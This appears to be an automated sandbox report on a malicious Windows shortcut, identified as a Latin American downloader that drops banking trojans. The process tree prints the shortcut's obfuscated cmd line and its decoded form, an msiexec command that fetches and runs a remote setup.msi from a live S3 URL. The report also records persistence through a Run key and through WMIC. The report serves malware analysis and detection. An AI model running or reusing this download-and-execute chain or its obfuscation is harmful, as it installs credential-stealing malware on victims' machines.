Analysis
-
max time kernel
119s -
max time network
125s -
platform
windows7_x64 -
resource
win7-en-20211104 -
submitted
23-11-2021 15:26
Static task
static1
Behavioral task
behavioral1
Sample
23 de Novembro.lnk
Resource
win7-en-20211104
Behavioral task
behavioral2
Sample
23 de Novembro.lnk
Resource
win10-en-20211014
General
-
Target
23 de Novembro.lnk
-
Size
1KB
-
MD5
dbc89ba629ae4c675b9c77d6e2e7db23
-
SHA1
b27c719b2226145787b90a07494dc66b32817b4e
-
SHA256
0b58d3b97a11a82aafda54aa682cddc11cf513dbcf980a145a04c8b5a362ccdf
-
SHA512
7e5225364a21aae63a9aaef89aeb7994e0c902e81220a4e169463ccb32a17986858d2e53dd9208dea2c07012e4d24f891e67109ec1c2fd7337f2a40328853d86
Malware Config
Extracted
latam_generic_downloader
https://ym4dusty.s3.sa-east-1.amazonaws.com/softo.kn3
Signatures
-
Generic LATAM Downloader
Generic Latin American MSI downloader used to drop various banking trojans.
-
Blocklisted process makes network request 4 IoCs
Processes:
msiexec.exeMsiExec.exeflow pid process 5 832 msiexec.exe 7 832 msiexec.exe 9 832 msiexec.exe 13 1924 MsiExec.exe -
Executes dropped EXE 1 IoCs
Processes:
NQbke.exepid process 292 NQbke.exe -
Loads dropped DLL 4 IoCs
Processes:
MsiExec.exeNQbke.exeiexplore.exepid process 1924 MsiExec.exe 1924 MsiExec.exe 292 NQbke.exe 1200 iexplore.exe -
Use of msiexec (install) with remote resource 1 IoCs
Processes:
msiexec.exepid process 832 msiexec.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
iexplore.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Windows\CurrentVersion\Run iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Windows\CurrentVersion\Run\Admin-_08726r0 = "\"C:\\Users\\Admin\\Saved Games\\Admin xlgrD\\NQbke.exe\"" iexplore.exe -
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
msiexec.exemsiexec.exedescription ioc process File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\I: msiexec.exe -
Drops file in Windows directory 7 IoCs
Processes:
msiexec.exemsiexec.exedescription ioc process File created C:\Windows\Installer\f75c237.ipi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSI5469.tmp msiexec.exe File opened for modification C:\Windows\Installer\f75c237.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSIBD20.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIBFC6.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC15D.tmp msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
iexplore.exedescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 iexplore.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString iexplore.exe -
Enumerates system info in registry 2 TTPs 4 IoCs
Processes:
iexplore.exedescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS iexplore.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer iexplore.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName iexplore.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion iexplore.exe -
Modifies Control Panel 2 IoCs
Processes:
NQbke.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Control Panel\(Padrão) 2 = "NQbke" NQbke.exe Set value (str) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Control Panel\(Padrão) 3 = "C:\\Users\\Admin\\Saved Games\\Admin xlgrD\\" NQbke.exe -
Modifies data under HKEY_USERS 1 IoCs
Processes:
msiexec.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad msiexec.exe -
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 13 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
msiexec.exepid process 832 msiexec.exe -
Suspicious behavior: EnumeratesProcesses 32 IoCs
Processes:
msiexec.exeiexplore.exepid process 1152 msiexec.exe 1152 msiexec.exe 1200 iexplore.exe 1200 iexplore.exe 1200 iexplore.exe 1200 iexplore.exe 1200 iexplore.exe 1200 iexplore.exe 1200 iexplore.exe 1200 iexplore.exe 1200 iexplore.exe 1200 iexplore.exe 1200 iexplore.exe 1200 iexplore.exe 1200 iexplore.exe 1200 iexplore.exe 1200 iexplore.exe 1200 iexplore.exe 1200 iexplore.exe 1200 iexplore.exe 1200 iexplore.exe 1200 iexplore.exe 1200 iexplore.exe 1200 iexplore.exe 1200 iexplore.exe 1200 iexplore.exe 1200 iexplore.exe 1200 iexplore.exe 1200 iexplore.exe 1200 iexplore.exe 1200 iexplore.exe 1200 iexplore.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
msiexec.exemsiexec.exeWMIC.exedescription pid process Token: SeShutdownPrivilege 832 msiexec.exe Token: SeIncreaseQuotaPrivilege 832 msiexec.exe Token: SeRestorePrivilege 832 msiexec.exe Token: SeTakeOwnershipPrivilege 832 msiexec.exe Token: SeRestorePrivilege 1152 msiexec.exe Token: SeTakeOwnershipPrivilege 1152 msiexec.exe Token: SeSecurityPrivilege 1152 msiexec.exe Token: SeCreateTokenPrivilege 832 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 832 msiexec.exe Token: SeLockMemoryPrivilege 832 msiexec.exe Token: SeIncreaseQuotaPrivilege 832 msiexec.exe Token: SeMachineAccountPrivilege 832 msiexec.exe Token: SeTcbPrivilege 832 msiexec.exe Token: SeSecurityPrivilege 832 msiexec.exe Token: SeTakeOwnershipPrivilege 832 msiexec.exe Token: SeLoadDriverPrivilege 832 msiexec.exe Token: SeSystemProfilePrivilege 832 msiexec.exe Token: SeSystemtimePrivilege 832 msiexec.exe Token: SeProfSingleProcessPrivilege 832 msiexec.exe Token: SeIncBasePriorityPrivilege 832 msiexec.exe Token: SeCreatePagefilePrivilege 832 msiexec.exe Token: SeCreatePermanentPrivilege 832 msiexec.exe Token: SeBackupPrivilege 832 msiexec.exe Token: SeRestorePrivilege 832 msiexec.exe Token: SeShutdownPrivilege 832 msiexec.exe Token: SeDebugPrivilege 832 msiexec.exe Token: SeAuditPrivilege 832 msiexec.exe Token: SeSystemEnvironmentPrivilege 832 msiexec.exe Token: SeChangeNotifyPrivilege 832 msiexec.exe Token: SeRemoteShutdownPrivilege 832 msiexec.exe Token: SeUndockPrivilege 832 msiexec.exe Token: SeSyncAgentPrivilege 832 msiexec.exe Token: SeEnableDelegationPrivilege 832 msiexec.exe Token: SeManageVolumePrivilege 832 msiexec.exe Token: SeImpersonatePrivilege 832 msiexec.exe Token: SeCreateGlobalPrivilege 832 msiexec.exe Token: SeRestorePrivilege 1152 msiexec.exe Token: SeTakeOwnershipPrivilege 1152 msiexec.exe Token: SeRestorePrivilege 1152 msiexec.exe Token: SeTakeOwnershipPrivilege 1152 msiexec.exe Token: SeIncreaseQuotaPrivilege 1672 WMIC.exe Token: SeSecurityPrivilege 1672 WMIC.exe Token: SeTakeOwnershipPrivilege 1672 WMIC.exe Token: SeLoadDriverPrivilege 1672 WMIC.exe Token: SeSystemProfilePrivilege 1672 WMIC.exe Token: SeSystemtimePrivilege 1672 WMIC.exe Token: SeProfSingleProcessPrivilege 1672 WMIC.exe Token: SeIncBasePriorityPrivilege 1672 WMIC.exe Token: SeCreatePagefilePrivilege 1672 WMIC.exe Token: SeBackupPrivilege 1672 WMIC.exe Token: SeRestorePrivilege 1672 WMIC.exe Token: SeShutdownPrivilege 1672 WMIC.exe Token: SeDebugPrivilege 1672 WMIC.exe Token: SeSystemEnvironmentPrivilege 1672 WMIC.exe Token: SeRemoteShutdownPrivilege 1672 WMIC.exe Token: SeUndockPrivilege 1672 WMIC.exe Token: SeManageVolumePrivilege 1672 WMIC.exe Token: 33 1672 WMIC.exe Token: 34 1672 WMIC.exe Token: 35 1672 WMIC.exe Token: SeRestorePrivilege 1152 msiexec.exe Token: SeTakeOwnershipPrivilege 1152 msiexec.exe Token: SeRestorePrivilege 1152 msiexec.exe Token: SeTakeOwnershipPrivilege 1152 msiexec.exe -
Suspicious use of FindShellTrayWindow 3 IoCs
Processes:
msiexec.exeMsiExec.exepid process 832 msiexec.exe 1924 MsiExec.exe 832 msiexec.exe -
Suspicious use of WriteProcessMemory 33 IoCs
Processes:
cmd.execmd.execmd.exemsiexec.exeMsiExec.exeNQbke.exedescription pid process target process PID 1512 wrote to memory of 860 1512 cmd.exe cmd.exe PID 1512 wrote to memory of 860 1512 cmd.exe cmd.exe PID 1512 wrote to memory of 860 1512 cmd.exe cmd.exe PID 860 wrote to memory of 1120 860 cmd.exe cmd.exe PID 860 wrote to memory of 1120 860 cmd.exe cmd.exe PID 860 wrote to memory of 1120 860 cmd.exe cmd.exe PID 1120 wrote to memory of 832 1120 cmd.exe msiexec.exe PID 1120 wrote to memory of 832 1120 cmd.exe msiexec.exe PID 1120 wrote to memory of 832 1120 cmd.exe msiexec.exe PID 1120 wrote to memory of 832 1120 cmd.exe msiexec.exe PID 1120 wrote to memory of 832 1120 cmd.exe msiexec.exe PID 1120 wrote to memory of 1892 1120 cmd.exe more.com PID 1120 wrote to memory of 1892 1120 cmd.exe more.com PID 1120 wrote to memory of 1892 1120 cmd.exe more.com PID 1120 wrote to memory of 1040 1120 cmd.exe cmd.exe PID 1120 wrote to memory of 1040 1120 cmd.exe cmd.exe PID 1120 wrote to memory of 1040 1120 cmd.exe cmd.exe PID 1152 wrote to memory of 1924 1152 msiexec.exe MsiExec.exe PID 1152 wrote to memory of 1924 1152 msiexec.exe MsiExec.exe PID 1152 wrote to memory of 1924 1152 msiexec.exe MsiExec.exe PID 1152 wrote to memory of 1924 1152 msiexec.exe MsiExec.exe PID 1152 wrote to memory of 1924 1152 msiexec.exe MsiExec.exe PID 1152 wrote to memory of 1924 1152 msiexec.exe MsiExec.exe PID 1152 wrote to memory of 1924 1152 msiexec.exe MsiExec.exe PID 1924 wrote to memory of 1672 1924 MsiExec.exe WMIC.exe PID 1924 wrote to memory of 1672 1924 MsiExec.exe WMIC.exe PID 1924 wrote to memory of 1672 1924 MsiExec.exe WMIC.exe PID 1924 wrote to memory of 1672 1924 MsiExec.exe WMIC.exe PID 292 wrote to memory of 1200 292 NQbke.exe iexplore.exe PID 292 wrote to memory of 1200 292 NQbke.exe iexplore.exe PID 292 wrote to memory of 1200 292 NQbke.exe iexplore.exe PID 292 wrote to memory of 1200 292 NQbke.exe iexplore.exe PID 292 wrote to memory of 1200 292 NQbke.exe iexplore.exe
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\23 de Novembro.lnk"1⤵
- Suspicious use of WriteProcessMemory
PID:1512 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /V/c "sET JIEX=^|morMiSEe +1 ^|cMiSEmMiSEd&&sET IeCXE=mMiSEsieMiSExec.eMiSExe /i httMiSEps://qMiSE9j.s3.eu-west-MiSE2.amazoMiSEnaws.com/setMiSEupMiSE.mMiSEsi&&sEt MAoK=!IeCXE:MiSE=!&&sEt ESxCa=!JIEX:MiSE=!&&cmd /c !MAoK! !ESxCa!"2⤵
- Suspicious use of WriteProcessMemory
PID:860 -
C:\Windows\system32\cmd.execmd /c msiexec.exe /i https://q9j.s3.eu-west-2.amazonaws.com/setup.msi |more +1 |cmd3⤵
- Suspicious use of WriteProcessMemory
PID:1120 -
C:\Windows\system32\msiexec.exemsiexec.exe /i https://q9j.s3.eu-west-2.amazonaws.com/setup.msi4⤵
- Blocklisted process makes network request
- Use of msiexec (install) with remote resource
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:832
-
-
C:\Windows\system32\more.commore +14⤵PID:1892
-
-
C:\Windows\system32\cmd.execmd4⤵PID:1040
-
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1152 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 2457C7855EDB3C81A76071CF498112A42⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1924 -
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" process call create 'C:\Users\Admin\Saved Games\Admin xlgrD\NQbke.exe'3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1672
-
-
-
C:\Users\Admin\Saved Games\Admin xlgrD\NQbke.exe"C:\Users\Admin\Saved Games\Admin xlgrD\NQbke.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies Control Panel
- Suspicious use of WriteProcessMemory
PID:292 -
C:\Program Files (x86)\Internet explorer\iexplore.exe"C:\Program Files (x86)\Internet explorer\iexplore.exe"2⤵
- Loads dropped DLL
- Adds Run key to start application
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:1200
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
MD5
1f26da52aea0b3dfe2e829665bd2474f
SHA1a852a99e2982df75842ccfc274ea3f9c54d22859
SHA25633a71ea2fd95ac5682a12fd55bea29afb77828b9cc10991f0a88600fbf335f32
SHA512dfc9574f115969f36e4ca3746355112030f0550b77bca1cc2a3cf73694a47964fd20359d178b0db81479f6bea6d7fa6e26470a7ad8d4300da2435b8ed6c14b1d
-
MD5
fa1f3bca7ab6fe1cdcecfbfba69262d5
SHA1dc963018c7910bc0d1bd320ff4ce270b13f9434d
SHA256bf7bf5943ff1c731d18b27eb1622f8eab30a13d709c74de11ff46e60869bfa7a
SHA512c1b0ed4cda7e5f250efcecb505232f06bf2b6dd51badd5c6a3b08ef96333cba7fff7eb660e6a64873b0d13fc54fc872f0d908c99bd089650eccfafa1dd45c362
-
MD5
59a82c4b21f8229dfcb8a8934f15b8b3
SHA1ebc5577f9d97c356061a33e9b02bd86b47fae722
SHA256194c3092b2a438bc4a789b0490f0b2aab45771bc050f564e6d255e14241bccfe
SHA512c3f1e32fb0086497f995088bc49baba612c9e4f921c0ac071f3fee7e6fbf214f5d8b94fc3a67581766619badca08661f50a2ce4c65ad404fe23215fd8b70945c
-
MD5
a76b0b64803b2686d55d2eeb9b9442c2
SHA1110c2962118aa0e52a84b801cfea78942ec12095
SHA2565967b8d98e036e290d727b345f753fc676f8dba882b1e21be996cd2c8eb68625
SHA512f33eeed547e470d15cd523115b9427d968ae66a7627a8a99e490b8a5a09c8cd891fe8e9513bce52e18975ae0b349275dba32f92407cacb18afc2c1f1f98f5fd5
-
MD5
9f1e5d66c2889018daef4aef604eebc4
SHA1b80294261c8a1635e16e14f55a3d76889ff2c857
SHA25602a81aea451cdfa2cd6668e3b814c4e50c6025e36b70ab972a8cc68aba5b3222
SHA5128f8cbba79d2b6541e8b603a4a395cb938d77c358563bd745449bfee107ee64b88254a79ca5dd72fa05798a75c1464e7cca52556829f258009a3d33c9c3c5d39b
-
MD5
9f1e5d66c2889018daef4aef604eebc4
SHA1b80294261c8a1635e16e14f55a3d76889ff2c857
SHA25602a81aea451cdfa2cd6668e3b814c4e50c6025e36b70ab972a8cc68aba5b3222
SHA5128f8cbba79d2b6541e8b603a4a395cb938d77c358563bd745449bfee107ee64b88254a79ca5dd72fa05798a75c1464e7cca52556829f258009a3d33c9c3c5d39b
-
MD5
c7edb816664326dc4a630f9b9b560ba1
SHA1b349f7d0345b5d3e4c7f4ae19686017a16a3b9ae
SHA256abf4c1a567ea350235fd4aa21a769288ea0cfe583c242356993b960dfd5461d9
SHA512505e7feda6284a60b161c72f5654953e9bc1620018fb8ee7a9db034998c6d68d85f78658416686e2696bf5a4fb71d7fa45e96ecfce01cea79651375e26e7f56c
-
MD5
9c0c57f21878673b13e66709f152c9c7
SHA17d56bbbdbb99f0390a3e49ca5a04027a4d712879
SHA25601fb64bada3093240168f9a5907e03de57e335fc8bdc6d5660e767fb8274c6b8
SHA5120dc234aa33b2e7168c8c51212c7009d676ebe875aeb365f800c36e15697ad489a782c80a67dda791d0e18823d974e861d7f89964846b3adfd2f19b5156875598
-
MD5
9f1e5d66c2889018daef4aef604eebc4
SHA1b80294261c8a1635e16e14f55a3d76889ff2c857
SHA25602a81aea451cdfa2cd6668e3b814c4e50c6025e36b70ab972a8cc68aba5b3222
SHA5128f8cbba79d2b6541e8b603a4a395cb938d77c358563bd745449bfee107ee64b88254a79ca5dd72fa05798a75c1464e7cca52556829f258009a3d33c9c3c5d39b
-
MD5
9f1e5d66c2889018daef4aef604eebc4
SHA1b80294261c8a1635e16e14f55a3d76889ff2c857
SHA25602a81aea451cdfa2cd6668e3b814c4e50c6025e36b70ab972a8cc68aba5b3222
SHA5128f8cbba79d2b6541e8b603a4a395cb938d77c358563bd745449bfee107ee64b88254a79ca5dd72fa05798a75c1464e7cca52556829f258009a3d33c9c3c5d39b